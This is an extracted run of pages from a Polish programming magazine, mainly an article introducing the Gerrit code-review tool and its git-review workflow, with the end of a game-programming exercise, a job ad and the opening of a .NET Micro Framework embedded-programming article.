poświęconych programowaniu. Większość ukazała się nakładem wydawnictwa Helion. Wierny 
użytkownik kupionego w połowie lat osiemdziesiątych "komputera osobistego" ZX Spectrum 48k.

ZADANIE

Przygotuj komponent o nazwie 

GameScene dziedziczą-

cy z 

DrawableGameComponent, który na wzór klasy gry 

Game wyposażony będzie w listę komponentów Compo-
nents i który ułatwi zarządzanie „ekranami” w grze. Kom-
ponent-pojemnik powinien wywoływać metodę 

Update 

każdego z komponentów w swojej metodzie 

Update, 

a metodę 

Draw – w swojej metodzie Draw. W efekcie 

komponenty zarejestrowane w instancji 

GameScene 

będą odświeżane, jeżeli własność 

Enabled instancji Ga-

meScene będzie ustawiona na true, a rysowane, jeżeli 
równa prawdziwości będzie własność 

Visible. Ponadto 

zdefiniuj menedżera ekranów, który nie będzie kompo-
nentem i odpowiadać będzie tylko za zmianę aktywnego 
ekranu, tzn. będzie rejestrował lub usuwał instancje klasy 
GameScene w liście komponentów gry.

Do komponentu 

GameScene dodaj zdarzenie, które 

pozwoli wykonać kod zdefiniowany w metodzie zdarze-
niowej w pętli efektu. Do metody zdarzeniowej prześlij 
efekt, aktualną instancję 

GraphicDevice i instancję Ef-

fectPass z bieżącej iteracji pętli. Dodaj również zdarzenia 
Updated i Drawed pozwalające na wykonanie dowolnego 
kodu po odświeżeniu i narysowaniu komponentów sceny.

Podobnie, jak w przypadku pierwszej części, nagrodą za 

szybkie rozwiązanie zadania będzie 3 miesięczna prenume-
rata elektroniczna dla pierwszych dwóch osób, które prześlą 
kod źródłowy na adres redakcja@programistamag.pl

background image

42

/ 6 

. 2014 . (25)  /

TESTOWANIE I ZARZĄDZANIE JAKOŚCIĄ

Wojciech Frącz

WPROWADZENIE

Uzyskanie wysokiej jakości kodu źródłowego jest obecnie jednym z najważ-
niejszych wyzwań inżynierii oprogramowania. Czytelny i zrozumiały kod po-
zwala na szybkie wykrycie i naprawienie błędów oraz umożliwia łatwe i bez-
pieczne wprowadzanie modyfikacji. Jak więc możemy zapewnić, by koszty 
utrzymania systemu nie rosły wraz z jego rozbudową?

Poza programowaniem sterowanym testami (TDD), które pomaga w za-

pewnieniu niezawodności kodu, bardzo pomocną praktyką okazują się prze-
glądy kodu źródłowego. Oprócz weryfikacji poprawności działania tworzone-
go oprogramowania można zakładać, że kod, który został sprawdzony, jest 
także czytelny i zrozumiały. To bezpośrednio wpływa na koszty jego utrzyma-
nia, zarządzania oraz pozwala na ograniczenie ryzyka wynikającego z ewen-
tualnej utraty kluczowych programistów.

Jak wykonywać przeglądy kodu, aby proces nie utrudniał i nie spowalniał 

codziennej pracy? W tym artykule przedstawiono wprowadzenie do jednego 
z najpopularniejszych obecnie narzędzi wspierających tę praktykę – Gerrit.

W artykule przeglądy kodu są nazywane także jako code review lub w skrócie 

CR. Mianem reviewera lub recenzenta nazywana jest osoba wykonująca przegląd 
kodu ze względu na brak odpowiedniego słowa na tę rolę w języku polskim. Ser-
wer ciągłej integracji czasem opisywany jest jako serwer CI (Continuous Integration).

CZY POTRZEBNE NAM JEST KOLEJNE 

NARZĘDZIE?

Nieodłącznym narzędziem przy procesie przeprowadzania przeglądów kodu w 
zespole programistów jest system kontroli wersji. Pozwala on na śledzenie zmian 
tak, aby żaden nowy element nie umknął uwadze osób sprawdzających kod.

SVN

Jeszcze kilka lat temu dominującym systemem kontroli wersji był SVN. W naj-
prostszym podejściu kod wgrywało się do trunka, gdzie był budowany przez 
serwer ciągłej integracji. W przypadku porażki w gałęzi repozytorium znajdo-
wał się niestabilny kod. Każdy, kto pobrał go w nieodpowiednim momencie, 
musiał czekać na jego naprawienie, co wstrzymywało jego pracę. Gdy w koń-
cu kolejna poprawka do danej zmiany została zweryfikowana przez serwer CI, 
mógł on zostać sprawdzony przy code review. Ewentualne uwagi były nano-
szone znów w kolejnym commicie. Historia zmian bardzo często wyglądała 
tak jak na Rysunku 1.

Rysunek 1. Historia zmian zaśmiecona kolejnymi poprawkami

Alternatywą do tego podejścia, oprócz pracy na branchach SVN, może 

być przesyłanie między autorem kodu a reviewerem patchy ze zmianami, bez 
wgrywania ich do repozytorium przed ich zaakceptowaniem. Nie ma wątpli-
wości, że takie rozwiązanie jest dalekie od wygodnego.

Git

Dzięki możliwości tworzenia lekkich topic branches w Git możliwa stała się pra-
ca na osobnych gałęziach kodu w zależności od realizowanego zadania. To roz-
wiązało problem niestabilnego kodu w trunk (tutaj: master). Niestety, nadal po 
zakończonym zadaniu historia zmian wyglądała podobnie – wiele commitów z 
poprawkami do poprawek przy nieudanych weryfikacjach przez CI lub przy CR.

Git teoretycznie pozwala na zmianę wykonanego już commita za pomocą ko-

mendy 

git commit --amend. Każda taka zmiana wymusza potem jednak prze-

słanie jej na odległy serwer komendą 

git push --force, co z kolei jest proble-

matyczne dla innych osób, posiadających przestarzałą, niezmodyfikowaną historię. 
Technika ta więc niesie ze sobą kilka trudności w pracy w większych zespołach.

Problem w dużej mierze rozwiązuje popularna ostatnio technika pull re-

quest – czyli żądania wprowadzenia zmian do danej gałęzi kodu. Jest stoso-
wana między innymi w serwisach GitHub oraz BitBucket. Po odrzuceniu pull 
request przez recenzenta można przygotować następny, uwzględniający 
przekazane uwagi. Zapobiega zaśmiecaniu historii zmian – do kodu zostaje 
wdrożony wyłącznie ostatni pull request, zawierający zaakceptowany kod. 
Reviewer jednak nie ma możliwości porównania zmian między jednym pull 
request a drugim, co skutkuje sprawdzaniem tego samego kodu po kilka razy. 
Nie wiadomo też, kto odpowiedzialny jest za przejrzenie dołączanego kodu.

CO NA TO GERRIT?

Systemy kontroli wersji nie były tworzone z myślą o code review – przynajmniej 
nie jako ich główna funkcjonalność. Dlatego z pomocą przychodzą nam narzę-
dzia ułatwiające przeprowadzanie tego procesu. Jednym z nich jest Gerrit.

Gerrit jest aplikacją on-line opakowującą repozytoria Git (zob. Rysunek 2). 

Komunikacja z nią jest oparta o protokół Git, dlatego na maszynach develo-
perów nie jest konieczne żadne dodatkowe oprogramowanie. Jego zadaniem 
jest przede wszystkim ułatwienie wykonywania przeglądów i zapewnienie, 
że każdy nowy fragment kodu został sprawdzony przed wdrożeniem go do 
wersji produkcyjnej systemu. Oprócz tego wzbogaca on repozytoria Git o 
kontrolę dostępu przy wykonywaniu operacji takich jak fetch, pull czy push.

Rysunek 2. Ogólny schemat działania przy pracy z Gerritem

Gerrit Code Review

Przeglądy kodu źródłowego są popularną techniką umożliwiającą zapewnienie 
wysokiej jakości kodu źródłowego. Czy warto ją stosować? Co dają nam przeglądy 
kodu i jak je wykonywać, by były one efektywne? W tym artykule opisano podejście 
do tej praktyki prezentowane przez Gerrita – coraz popularniejszej aplikacji uła-
twiającej przeprowadzanie przeglądów kodu źródłowego.

background image

43

/ www.programistamag.pl /

GERRIT CODE REVIEW

Proces

Praca z repozytorium pod kontrolą Gerrita zaczyna się tak samo jak w przy-
padku Git – należy pobrać najnowsze zmiany z gałęzi master komendą 

git 

clone lub git pull (oczywiście, Gerrit wspiera pracę nad kilkoma projekta-
mi i kilkoma branchami – zakładamy tutaj najprostszy przypadek). Stan repo-
zytorium przedstawiony jest na Rysunku 3 – wykonana została operacja #1.

W ramach realizacji przydzielonego zadania został stworzony commit (#2). 

Wszystko wydaje się być w porządku, więc przesyłany on jest do Gerrita (#3) – 
do specjalnej gałęzi refs/for/master. Jest to miejsce, w którym wykonane zmia-
ny czekają na zatwierdzenie przez reviewera (zwane dalej poczekalniąi na 
dołączenie do gałęzi master repozytorium. Każda gałąź kodu posiada swoją 
poczekalnię o nazwie refs/for/nazwa_gałęzi.

Rysunek 3. Wykonywanie i poprawianie zmian w kodzie przy użyciu Gerrit

Change-Id vs. Commit-Id

Gerrit przy przesyłaniu nowego commita sprawdza, czy jest on już mu zna-
ny, i jeśli nie – uznaje go za nową zmianę (Change) w projekcie. Zostaje jej 

przypisany indywidualny numer (Change number), pod którym będzie ona 
dostępna w aplikacji, aby można było wykonać przegląd kodu.

W jaki sposób Gerrit rozpoznaje, czy dany commit przesyłany do repo-

zytorium jest nowy? W Git commity rozpoznawane są po 40-znakowych ha-
shach, zwanych także jako Commit Id. Przy pracy z Gerritem każdy commit 
opatrzony jest dodatkowo innym hashem, zwanym Change-Id. Jest on gene-
rowany za pomocą automatycznego hooka przy wykonywaniu operacji 

git 

commit (#2). Change-Id zapisywany jest w opisie danego commita, w stopce. 
Jeżeli więc jako opis podamy 

[BUG-456] Fixed bug, to „prawdziwy” opis 

tego commita może wyglądać następująco:

[BUG-456] Fixed bug

Change-Id: I671047556b6ddecbc76f99b0af5a342fbe20c0a3

Analizując ten hash, Gerrit jest w stanie stwierdzić, czy przyporządkować 
przesyłanej zmianie nowy numer, czy też użyć już istniejącego.

Wielokrotne poprawki

Dlaczego Gerrit nie może po prostu używać Commit Id do rozpoznawania 
zmian? Załóżmy, że wgrana przez nas zmiana nie została zatwierdzona przy 
przeglądzie kodu, lub serwer ciągłej integracji zgłosił, że nie wszystkie testy 
wykonały się poprawnie. Należy poprawić kod, ale nie chcemy wykonywać 
kolejnego commita tylko w tym celu.

Przy pracy z Gerritem możemy wprowadzić pożądane poprawki oraz bez 

przeszkód zmienić istniejący commit komendą 

git commit --amend (#4). 

Należy przy tym pamiętać, aby w jego opisie nie zmienić przyporządkowa-
nego Change-Id. Właśnie to pozwoli Gerritowi przy ponownym przesyłaniu 
poprawionego commita (#5) na jego poprawne rozpoznanie i przypisanie 
do tej samej zmiany (Commit Id zmienia się przy wykonywaniu 

git commit 

--amend, ponieważ Git uznaje go jako zupełnie inny commit).

reklama

background image

44

/ 6 

. 2014 . (25)  /

TESTOWANIE I ZARZĄDZANIE JAKOŚCIĄ

Przy przesyłaniu zmodyfikowanych commitów, zachowując ich Change-Id, 

Gerrit tworzy historię modyfikacji kodu danej zmiany. Każda z nich nazywana 
jest kolejnym patchsetem. Po zatwierdzeniu danej zmiany może ona zostać 
wdrożona do docelowej gałęzi kodu (#6). Tylko ostatni patchset jest dołącza-
ny do historii commitów w gałęzi repozytorium Git, dzięki czemu historia nie 
jest zaśmiecana poprawkami.

Praca nad większymi zadaniami

Czasem zadanie do wykonania nie jest na tyle proste i małe, by wszystkie 
potrzebne modyfikacje zawrzeć w jednym commicie. W dodatku zmiany nie 
powinny być zbyt duże, aby mogły być dokładnie przeglądnięte.

Gerrit umożliwia stworzenie topic-branchy w poczekalni. Kilka powiąza-

nych ze sobą zmian z różnymi Change-Id może być powiązane w pracę nad 
jednym zadaniem dzięki możliwości ustawienia ich tematu (topic). Kod należy 
przesłać do gałęzi refs/for/master/TOPIC, co oznacza, że zmiany czekają tam na 
dołączenie do gałęzi master repozytorium, a praca w nich wykonana dotyczy 
tematu TOPIC. Gerrit umożliwi wtedy wyświetlenie tych zmian jedna po dru-
giej w interfejsie użytkownika.

Jeżeli nasza praca składa się z kilku commitówa reviewer ma uwagi do 

pierwszej z nich – co możemy zrobić? Czy trzeba wykonać kolejną zmianę w 
odpowiedzi na te uwagi? Oczywiście, że nie. Git umożliwia modyfikację do-
wolnego commita – nie tylko ostatniego. W tym przypadku zamiast komendy 
git commit --amend należy skorzystać z git rebase --interactive, 
która pozwoli na edycję dowolnego commita z historii zmian.

Wykonywanie przeglądów

Po przesłaniu zmiany do Gerrita, autor kodu powinien ustawić dla niej, kto 
ma wykonać przegląd kodu. Reviewer zostanie powiadomiony wiadomością 
e-mail o kolejnej zmianie czekającej na jego sprawdzenie.

Przegląd można wykonywać w przeglądarce internetowej na przejrzy-

stym ekranie podzielonym na dwie części – po lewej kod przed zmianami, 
a po prawej - kod po zmianach (zob. Rysunek 4). Jeżeli zostaną zauważone 
jakieś defekty lub niezrozumiałe fragmenty kodu, recenzent może dodać ko-
mentarz tekstowy do wybranej linii poprzez jej podwójne kliknięcie. Uwagi 
można także dodawać do wybranego fragmentu kodu, zaznaczając go przed 
dwuklikiem, oraz do całego pliku, używając odpowiedniego przycisku na sa-
mej górze ekranu.

Przeglądy kodu za pomocą Gerrita można wykonywać także w IDE (np. 

Eclipse), sprawdzając od razu, czy kod działa tak jak powinien.

Po wprowadzeniu wszystkich uwag do danej zmiany powinny one zostać 

opublikowane. Autor kodu zostanie powiadomiony o pozytywnym lub nega-
tywnym wyniku przeglądu swojego kodu.

Wracając do patchsetów – warto zauważyć, że jeśli reviewer znalazł błędy 

w patchsecie 3, autor kodu powinien je poprawić, tworząc patchset 4. Następ-
nie reviewer przegląda tylko różnice między oboma i sprawdza, czy zlecona 
praca została wykonana. To eliminuje wadę pull requestów opisaną wcześniej 
w tym artykule.

Rysunek 4. Ekran pozwalający na przeglądanie kodu w Gerrit

Flagowanie zmian

Zatwierdzanie kodu danej zmiany w Gerricie odbywa się za pomocą flag. 
Standardowo istnieją dwie flagi – Verified oznaczająca, że kod się kompilu-
je i testy automatyczne dają pozytywny rezultat (oczywiście, może ona być 
przyznawana automatycznie przez serwer CI), oraz CodeReview, oznaczająca 
wynik przeprowadzonego przeglądu kodu. Typy flag można dowolnie defi-
niować (np. można dodać nową flagę LeaderVerified, która będzie oznaczać, 
że oprócz weryfikacji CR przez dowolnego programistę, kod zatwierdził także 
team leader). Każda nowa zmiana ma początkowo wartości wszystkich flag 
równe 0. Jeśli zmiana przejdzie pozytywnie przegląd kodu – otrzymuje flagę 
CodeReview równą +1 lub +2 (w zależności od przyjętej polityki – np. w pro-
jektach open source stosuje się czasem zasadę, że 3 flagi o wartości +1 dla 
CodeReview oznaczają, że kod jest sprawdzony, i ustawia się wtedy flagę CR na 
+2). Jeśli nie – zmiana otrzymuje flagę CR o wartości -1 lub -2. Jeżeli serwer CI 
nie wykryje błędów w kodzie – przyznaje flagę Verified +1 albo -1 w przeciw-
nym razie. Podobnie z pozostałymi flagami.

Zmiana może być dołączona do kodu produkcyjnego wyłącznie, gdy 

wszystkie flagi dla zmiany mają przyznane najwyższe możliwe wartości.

JAK ZACZĄĆ?

Aplikację Gerrit w postaci pliku WAR można pobrać ze strony projektu. Do jej 
działania konieczne jest stworzenie bazy danych, w której przechowywane 
będą informacje o zmianach i wykonanych przeglądach kodu (w chwili pisa-
nia artykułu wspierane są bazy danych H2, MySQL oraz PostgreSQL). Ponadto 
wymagana jest Java w wersji 1.7 oraz Git.

Gdy powyższe warunki są spełnione, wystarczy wykonać komendę:

java -jar gerrit.war init -d /path/to/your/gerrit_application_directory

aby zainstalować Gerrita w wybranym katalogu. W trakcie instalacji będzie 
trzeba odpowiedzieć na zadawane przez aplikację pytania, m.in. o użytkowni-
ka i hasło do bazy danych, konfigurację serwera SMTP, porty, na których apli-
kacja ma nasłuchiwać połączeń itp. Po instalacji należy uruchomić aplikację, 
wykonując komendę:

/path/to/your/gerrit_application_directory/bin/gerrit.sh start

Link do szczegółowych instrukcji instalacji znajduje się na końcu artykułu.

Gerrit powinien być uruchomiony na maszynie dostępnej dla wszystkich 

developerów z zespołu, aby możliwe było przesyłanie do niej zmian.

Po zalogowaniu do aplikacji, z poziomu interfejsu użytkownika należy 

stworzyć nowy projekt (zakładka Projects / Create new project). Repozytorium 
Git dla projektu zostanie stworzone automatycznie.

Git review

Ciekawym narzędziem upraszczającym korzystanie z Gerrita na maszynach de-
veloperów jest git review. Wzbogaca ono Git o nową komendę 

review, która 

skraca komendy konieczne do wpisywania przy pracy z Gerritem (jak napisano 
wcześniej – do komunikacji z aplikacją w zupełności wystarcza Git, jest to jednak 
czasem mało wygodne). Do jej działania wymagany jest Python oraz pip do zarzą-
dzania zależnościami. Aby zainstalować git review, wystarczy wykonać komendę:

pip install git-review

Następnie w głównym katalogu projektu należy stworzyć plik .gitreview, który 
przekaże narzędziu informacje o instancji Gerrita, z którego ma korzystać, np.:

[gerrit]

host=gerrit.projekt.pl

project=projekt

background image

punkt zwrotny w karierze

www.praca.pl

Developer .NET

Programista Java EE/J2EE

Technical Service Engineer

 Programista C#

Linux administrator

IT Support Specialist

Programista Python

Inżynier systemó

w Linux

Mobile 

Technolog

y De

veloper

Konsultant Lync

Programista 

ASP

.NET

Programista

UI Developer

Network Engineer

Test Analyst

Programista C++

Technical Consultant

Specjalista HelpDesk IT

SharePoint Developer

Administrator Baz Danych

Frontend Developer

Tester Aplikacji

 Konsultant ds.

 wdrożeń ERP

Konsultant ds. wsparcia IT

Architekt Systemó

w

Android De

veloper

Netw

ork Specialist

 iOS Developer

Senior SAP Basis

background image

46

/ 6 

. 2014 . (25)  /

TESTOWANIE I ZARZĄDZANIE JAKOŚCIĄ

Kolejno w tym samym katalogu należy wykonać komendę inicjalizującą 

dodatkowe ustawienia (między innymi stworzenie odpowiedniego remote 
dla Gerrita oraz pobranie Change-Id hook).

git review --setup

Change-Id hook

Jak opisano wcześniej, do generowania Change-Id używany jest hook dla re-
pozytorium Git, który dodaje identyfikator zmiany przy tworzeniu commita. 
Jeśli projekt nie został zainicjalizowany narzędziem git review, należy go po-
brać manualnie, kopiując go z działającej instancji Gerrita komendą wykona-
ną w katalogu głównym projektu:

scp -p -P 29418 gerrit.projekt.pl:hooks/commit-msg .git/hooks/

PRZYKŁADOWY DZIEŃ Z GERRITEM

Żeby lepiej zobrazować, jak wygląda praca z Gerritem, wcielmy się w progra-
mistę, który ma do wykonania dwa zadania, oraz reviewera, który stworzony 
kod zatwierdzi.

W naszym systemie do śledzenia zgłoszeń zadania do wykonania posiada-

ją identyfikatory BUG-123 oraz ISS-456. Zajmiemy się najpierw bugiem:

$ git status

On branch master

$ git pull

Already up-to-date.

$ git checkout -b BUG-123

Switched to a new branch 'BUG-123'

Na początku upewniamy się, że mamy najnowsze zmiany w kodzie produk-
cyjnym (miejsce, od którego zaczniemy naszą pracę). Następnie tworzony jest 
nowy topic-branch o nazwie zadania, nad którym będziemy pracować.

Wykonujemy nasze modyfikacje w kodzie i commitujemy je, aby naprawić 

błąd w aplikacji.

$ git add .

$ git commit -m "[BUG-123] Fixed this nasty error"

[BUG-123 24b61b4] [BUG-123] Fixed this nasty error

 3 files changed, 34 insertions(+), 25 deletions(-)

Dlaczego nie podaliśmy Change-Id? Ponieważ powinien on wygenerować się 
sam – sprawdźmy:

$ git log --max-count 1

commit 54d942d49a6177925d686dd17481338ac8bdcef6

Author: fracz fracz@iisg.agh.edu.pl

Date:   Fri May 9 10:33:31 2014 +0200

[BUG-123] Fixed this nasty error

Change-Id: I06eb7ca361bf51054ce14a48c9f2ba7488f8fac3

Chnage-Id jest na miejscu. Jeśli hook nie byłby zainstalowany – commit nie 
zawierałby identyfikatora zmiany (o ile nie wpisalibyśmy go z palca), a Gerrit 
odrzuciłby przesyłaną zmianę z błędem Missing Change-Id in commit message 
footer
.

Gdybyśmy nie pracowali z Gerritem, można by przesłać kod komendą 

git push do topic-brancha na repozytorium odległym. Gerrit jednak tego 
zabrania:

$ git push origin BUG-123

Counting objects: 11, done.

[...]

 ! [remote rejected] BUG-123 -> BUG-123 (prohibited by Gerrit)

Zapewnia on w ten sposób, że każda nowa zmiana zostanie sprawdzona 

przez reviewera (oczywiście, zachowanie to można zmodyfikować, odpo-

wiednio dostosowując uprawnienia do wybranych gałęzi kodu). Jak opisano 
wcześniej, należy ją przesłać do poczekalni, czyli gałęzi refs/for/master. Ponie-
waż chcemy dodatkowo przekazać informację o tym, z jakiego topic-brancha 
dany commit pochodzi – przesyłamy ją do refs/for/master/BUG-123.

Mając powyższą wiedzę, możemy przesłać więc kod do Gerrita, używając 

czysto gitowej komendy:

$ git push origin HEAD:refs/for/master/BUG-123

[...]

remote: New Changes:

remote:   http://gerrit.projekt.pl:8080/2050

 * [new branch]      HEAD -> refs/for/master/BUG-123

Komenda jest długa i nieprzyjemna. Z pomocą przychodzi narzędzie git re-
view, które potrafi wykonać to samo zadanie, wpisując po prostu:

$ git review

[...]

remote: New Changes:

remote:   http://gerrit.projekt.pl:8080/2050

 * [new branch]      HEAD -> refs/for/master/BUG-123

Praca nad zadaniem skończona. Z wyniku działania komendy można odczy-
tać, że nowa zmiana otrzymała Change number równy 2050 (ostatnia liczba w 
adresie URL, pod którym można zobaczyć zmianę). Należy także zauważyć, że 
zmiana została automatycznie przesłana do topic-brancha na Gerricie o nazwie 
równej nazwie gałęzi w repozytorium lokalnym. Jeśli to działanie jest niepożą-
dane, należy przesłać kod do Gerrita komendą 

git review –t TOPIC.

Zabierzmy się teraz za 2-gie zadanie. Zaczynamy – jak zawsze – od gałęzi master:

$ git checkout master

Switched to branch 'master'

$ git pull

Already up-to-date.

$ git checkout -b ISS-456

Switched to a new branch 'ISS-456'

I po wykonaniu wszystkich koniecznych zmian implementacyjnych wysyłamy 
je do Gerrita:

$ git add .

$ git commit -m "[ISS-456] Add this cool feature"

[...]

$ git review

[...]

remote: New Changes:

remote:   http://gerrit.projekt.pl:8080/2051

 * [new branch]      HEAD -> refs/for/master/ISS-456

Zmiana otrzymała kolejny Change number – 2051.

Od strony reviewera

Mając kod do sprawdzenia, zaczynamy od odwiedzenia Gerrita w przeglądar-
ce internetowej i sprawdzenia listy zmian czekających na nasze zatwierdzenie. 
Oczywiście – samo sprawdzenie czytelności kodu nie wystarczy – w ramach 
przeglądu należy go zazwyczaj pobrać i sprawdzić, czy działa. Do tego celu na 
stronie zmiany Gerrit udostępnia gotowe komendy pobierające daną zmianę 
za pomocą 

git fetch lub git pull. Kopiując je do schowka i wklejając do 

konsoli, możemy w prosty sposób pobrać zmieniony kod. Jeśli jednak uży-
wamy narzędzia git review, wystarczy wykonać komendę 

git review -d 

NUMER_ZMIANY, aby uzyskać wprowadzone zmiany lokalnie:

$ git review -d 2050

Downloading refs/changes/50/2050/1 from gerrit

Switched to branch "review/wojciech_fracz/BUG-123"

W naszym przypadku reviewer pobiera zmianę dotyczącą buga i stwierdza, 
że kod nadal nie poprawia nieprawidłowego działania programu, odrzucając 
zmianę (ustawiając flagę CodeReview na -1).

background image

47

/ www.programistamag.pl /

GERRIT CODE REVIEW

Następnie pobiera on zmianę dotyczącą implementacji nowej funkcjo-

nalności komendą git review -d 2051. Implementacja nie zawiera błędów i 
aplikacja działa prawidłowo. Wobec tego zmiana zostaje zatwierdzona i dołą-
czona do gałęzi master poprzez wykonanie operacji submit w Gerricie.

Wracając do developera

Autor kodu musi poprawić swoją zmianę dotyczącą buga. Do dzieła:

$ git review -d 2050

Downloading refs/changes/50/2050/1 from gerrit

Switched to branch "review/wojciech_fracz/BUG-123"

// poprawienie kodu

$ git add .

$ git commit –amend

[...]

Niedociągnięcia zostały poprawione. Warto zauważyć, że do pobrania kodu z 
Gerrita developer używa tej samej komendy co reviewer.

Przed przesłaniem zmian do Gerrita dobrze byłoby upewnić się, czy nasza 

zmiana jest aktualna ze zmianami w gałęzi, do której chcemy dołączyć nasz 
kod. Nie jest to wymagane, aczkolwiek im częściej upewniamy się, że nasz 
kod jest odpowiedni dla aktualnej postaci aplikacji - tym lepiej. Im wcześniej 
pojawią się ewentualne konflikty, tym łatwiej będzie je rozwiązać:

$ git checkout master

Switched to branch 'master'

$ git pull

From ssh://gerrit.projekt.pl:29418/projekt

   54d942d..f442c41  master     -> origin/master

Updating 54d942d..f442c41

Fast-forward

 [...]

Są zmiany – musimy więc uwzględnić je we wprowadzonych przez nas w ko-
dzie modyfikacjach. Z pomocą przychodzi tutaj komenda 

git rebase.

$ git checkout BUG-123

Switched to branch BUG-123

$ git rebase master

First, rewinding head to replay your work on top of it...

Applying: [BUG-123] Fixed this nasty error

W trakcie 

rebase mogą pojawić się konflikty, które trzeba będzie rozwiązać, 

aby Gerrit mógł później dołączyć zaakceptowany kod do docelowej gałęzi.

Czy trzeba o tym pamiętać? Na szczęście – nie. Warto wiedzieć, że te ope-

racje się wykonują, ale wszystkie powyższe możemy zastąpić jedną komendą 

git review, która oprócz przesyłania kodu do Gerrita także przed przesłaniem 
sprawdza, czy jest on aktualny, i wykonuje 

rebase, jeśli jest taka potrzeba. Je-

dynym więc, co musi zrobić developer po poprawieniu swojej zmiany, jest ta 
sama komenda, która była użyta do przesłania zmiany za pierwszym razem:

$ git review

Reviewer zostaje powiadomiony o nowym patchset do zmiany, którą oceniał. 
Tym razem wszystko wydaje się być w porządku i patchset 2 trafia do gałę-
zi master. Zostaje dołączony bez żadnych problemów, ponieważ kod został 
wcześniej zaktualizowany (zrebasowany) do najnowszych zmian w systemie.

CZY TO WSZYSTKO?

Gerrit, poza narzuceniem przebiegu pracy wymuszającego przeprowadza-
nie przeglądów kodu, ma też wiele innych funkcjonalności. Jak można było 
zobaczyć w przykładowym przypadku użycia, Gerrit kontroluje dostęp do 
repozytoriów gitowych, pozwalając lub zabraniając na wykonanie danych ak-
cji. Możliwe jest łatwe ustalenie, do których gałęzi kodu commity mogą być 
przesyłane bezpośrednio, w której gałęzi mogą być dodawane tagi i przez 
kogo. Jedna instancja Gerrita może kontrolować wiele projektów. Użytkow-
nicy mogą być łączeni w grupy, którym można przypisać różne uprawnienia 
do różnych repozytoriów. Gerrit może być więc używany jako system kontroli 
uprawnień do repozytorium, nawet jeśli nie przeprowadza się w danym ze-
spole przeglądów kodu.

Aplikację można łatwo integrować z istniejącymi systemami śledzenia za-

dań takich jak JIRA czy Bugzilla. Jej zachowanie można dostosować do swoich 
potrzeb przy użyciu pluginów.

Co ważne – narzędzie jest aktywnie rozwijane, a jego społeczność jest co-

raz większa.

Podsumowanie

Gerrit może być używany zarówno w rozproszonych zespołach, jak i tych prze-
bywających w jednym pomieszczeniu. Zaproponowany przez niego przebieg 
pracy w naturalny sposób wprowadza wymierne efekty przeglądów kodu w 
życie. Żaden fragment kodu nie zostanie dodany do systemu bez jego pozy-
tywnej weryfikacji, co znacząco wpłynie na jego jakość. Warto zainteresować 
się tym narzędziem, gdyż podnosi ono komfort pracy, stopień zadowolenia 
pracowników i niezawodność wytwarzanego oprogramowania.

W sieci

 

P

https://code.google.com/p/gerrit/

  – strona główna aplikacji Gerrit

 

P

https://gerrit-documentation.storage.googleapis.com/Documentation/2.8/install.html

 – instrukcja instalacji Gerrita

 

P

https://gerrit-review.googlesource.com/#/admin/projects/?filter=plugins%252F

 – lista dostępnych, oficjalnych pluginów do Gerrita

 

P

http://www.mediawiki.org/wiki/Gerrit/git-review

 – instrukcja instalacji narzędzia git review

 

P

http://nvie.com/posts/a-successful-git-branching-model/

 – opis klasycznego git workflow

 

P

https://help.github.com/articles/interactive-rebase

 – opis komendy git rebase - -interactive

Wojciech Frącz

fracz@iisg.agh.edu.pl

Stażysta w Katedrze Informatyki Akademii Górniczno-Hutnicznej w Krakowie. Czynnie udzie-
la się w projektach realizowanych na uczelni, programując w językach Java, PHP i Javascript. 
W ramach pracy dyplomowej opracował aplikację umożliwiającą wykonywanie code review 
na urządzeniach mobilnych.

background image

48

/ 6 

. 2014 . (25)  /

PROGRAMOWANIE SYSTEMÓW OSADZONYCH

Dawid Borycki

WPROWADZENIE

Platforma .NET Micro Framework, w skrócie NMF, jest zestawem bibliotek i na-
rzędzi do tworzenia oprogramowania wbudowanego w urządzenie (firmwa-
re) z wykorzystaniem języka C# oraz metod i obiektów analogicznych do zna-
nych z pełnej wersji platformy .NET. NMF została zoptymalizowana pod kątem 
jej wykorzystania na małych urządzeniach elektronicznych, które posiadają 
ograniczone zasoby sprzętowe, takie jak pamięć czy częstotliwość taktowania 
procesora oraz stosunkowo małe rozmiary.

W pierwszej części artykułu (Programista 4/2014) omówiliśmy różne aspek-

ty programowania urządzeń wbudowanych z wykorzystaniem biblioteki NMF, 
a mianowicie tworzenie graficznego interfejsu użytkownika, obsługi przycisków, 
panelu dotykowego, a także tworzenie serwisów sieciowych. Wszystkie omó-
wione aspekty były prezentowane z wykorzystaniem emulatora urządzenia 
wbudowanego, dostarczanego z tą biblioteką. W tym artykule przygotujemy 
firmware dla rzeczywistego urządzenia elektronicznego. Podobnie jak poprzed-
nio będziemy wykorzystywali środowisko programistyczne Visual Studio 2012.

Na rynku dostępnych jest kilka urządzeń wspierających platformę 

.NET Micro Framework. Są nimi produkty firm Secret Labs Netduino, GHI 
Electronics, Mountaineer Boards czy STMicroelectronics (STM). W tym 
artykule zdecydowaliśmy się wykorzystać płytkę STM32F4 Discovery 
(

http://www.st.com/web/catalog/tools/FM116/SC959/SS1532/PF252419

). Ten 

zestaw uruchomieniowy (Rysunek 1) jest łatwo dostępny oraz stosunkowo 
niedrogi. Oficjalna cena na stronach producenta wynosi niecałe piętnaście 
dolarów. W popularnych polskich sklepach internetowych dla elektroników 
STM32F4 Discovery kosztuje w granicach dziewięćdziesięciu złotych. Dodatko-
wo, urządzenie to nie wymaga programatora, a jedynie dwa kable USB: typu A 
do mini-B oraz A do micro-B. Pierwszy z nich to typowy kabel łączący przenośny 
dysk HDD 2.5 cala z komputerem i jest wykorzystywany do programowania mi-
krokontrolera oraz dostarcza zasilanie. Drugi to typowy kabel wykorzystywany 
do połączenia telefonu z komputerem i w tym artykule posłuży do wgrania pro-
gramu rozruchowego NMF oraz sterującego mikrokontrolerem.

Sercem zestawu STM32F4 Discovery jest mikrokontroler STM32F407VGT6, 

goszczący mikroprocesor ARM Cortex-4. Ten ostatni charakteryzuje się sto-
sunkowo niskim zużyciem energii oraz dużą wydajnością. Mikrokontroler 
STM32F407VGT6 jest dodatkowo wyposażony w 1MB pamięci nieulotnej 
(FLASH) oraz 192KB pamięci typu RAM. 

Producent zestawu uruchomieniowego STM32F4 Discovery oddaje do 

dyspozycji użytkownika cztery diody LED, znajdujące się pomiędzy przyciska-
mi User (niebieski) oraz Reset (czarny). Diody te oznaczone symbolami LD3-
-LD6 świecą w kolorach pomarańczowym (LD3), zielonym (LD4), czerwonym 
(LD5) oraz niebieskim (LD6). 

Płytka STM32F4 Discovery posiada również dwa układy mikromechanicz-

ne (MEMS). Pierwszy to cyfrowy akcelerometr, a drugi to cyfrowy mikrofon do-
